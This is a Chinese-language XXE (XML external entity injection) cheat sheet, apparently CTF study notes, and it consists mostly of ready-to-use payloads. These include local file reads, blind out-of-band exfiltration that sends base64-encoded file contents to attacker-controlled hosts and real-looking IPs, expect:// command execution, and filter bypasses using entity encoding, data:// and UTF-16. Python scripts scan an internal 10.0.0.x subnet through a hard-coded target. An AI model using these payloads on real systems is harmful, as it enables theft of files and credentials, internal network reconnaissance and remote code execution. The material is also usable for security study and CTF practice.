XXE

XML是一种非常流行的标记语言,用于配置文件。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。

XXE(XML External Entity,外部实体),从安全角度理解成 XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。


基本格式(外部实体)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 通用实体 -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

<!-- 参数实体 -->
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

注入

有回显

  • 常规

    1
    2
    3
    4
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
    <creds>&goodies;</creds>
  • 文件含特殊字符(参数实体)

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % goodies SYSTEM "file:///d:/test.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
    %dtd; ]>
    <roottag>&all;</roottag>

    evil.dtd

    1
    2
    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">

无回显 (Blind OOB XXE)

  • 常规

    1
    2
    3
    4
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>

    test.dtd

    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

    支持的协议:

    PHP:

    file http ftp php compress.zlib compress.bzip2 data glob phar

    Java:

    http https ftp file jar netdoc mailto gopher

其他利用

  • HTTP内网主机探测

    利用 file 协议读取作为支点服务器的网络配置文件,看有没有内网,以及网段大概是什么样子,可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,就有大致的探测方向。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import requests
    import base64

    #Origtional XML that the server accepts
    #<xml>
    # <stuff>user</stuff>
    #</xml>


    def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

    def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print(coded_string)
    # print(base64.b64decode(coded_string))
    for i in range(1, 255):
    try:
    i = str(i)
    ip = '10.0.0.' + i
    string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
    print(string)
    build_xml(string)
    except:
    continue
  • HTTP内网主机端口扫描

    找到内网一台主机,想要知道攻击点在哪,还需要进行端口扫描,端口扫描的脚本与主机探测类似,只要把IP地址固定,然后循环遍历端口,当然一般端口是通过响应的时间的长短判断该该端口是否开放的。除了这种方法,我们还能结合 burpsuite 进行端口探测。

  • RCE

    主要是由于配置不当/开发内部应用导致的。如果足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令。

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
    <core id="test101">
    <author>John, Doe</author>
    </core>
    </catalog>

绕过(bypass)

  • 协议(如http)

    可以利用实体编码绕过。

    • 双重实体编码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      <?xml version="1.0"?>
      <!DOCTYPE GVI [
      <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">
      %xml;
      ]>

      <!--编码内容-->
      <!ENTITY xxe SYSTEM "file:///flag.txt" >]>
      <core>
      <message>&xxe;</message>
      </core>
    • data://协议

      1
      2
      3
      4
      5
      <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
      <comment><sender>&xxe;</sender><content>111</content></comment>
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+">
      %a;
      %b;
      ]>
      <test>&hhh;</test>

      <!--编码内容-->
      <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
    • file://协议+文件上传

      1
      2
      3
      4
      5
      6
      7
      8
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
      %a;
      ]>

      <!--上传文件-->
      <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
    • php://filter协议+文件上传

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
      %a;
      ]>
      <test>
      &hhh;
      </test>

      <!--上传文件-->
      <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
      %a;
      ]>
      <test>
      &hhh;
      </test>

      <!--上传文件-->
      PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
  • 关键词(如 ENTITY, SYSTEM, file)

    使用编码方式绕过:UTF-16BE

    cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import requests

    url = 'http://url/'
    payload = """<!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://yourVPS/evil.dtd">
    %remote;%int;%send;
    ]>
    """
    payload = payload.encode('utf-16')
    requests.post(url, data=payload)

    evil.dtd

    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">

参考

从几道CTF题学习Blind XXE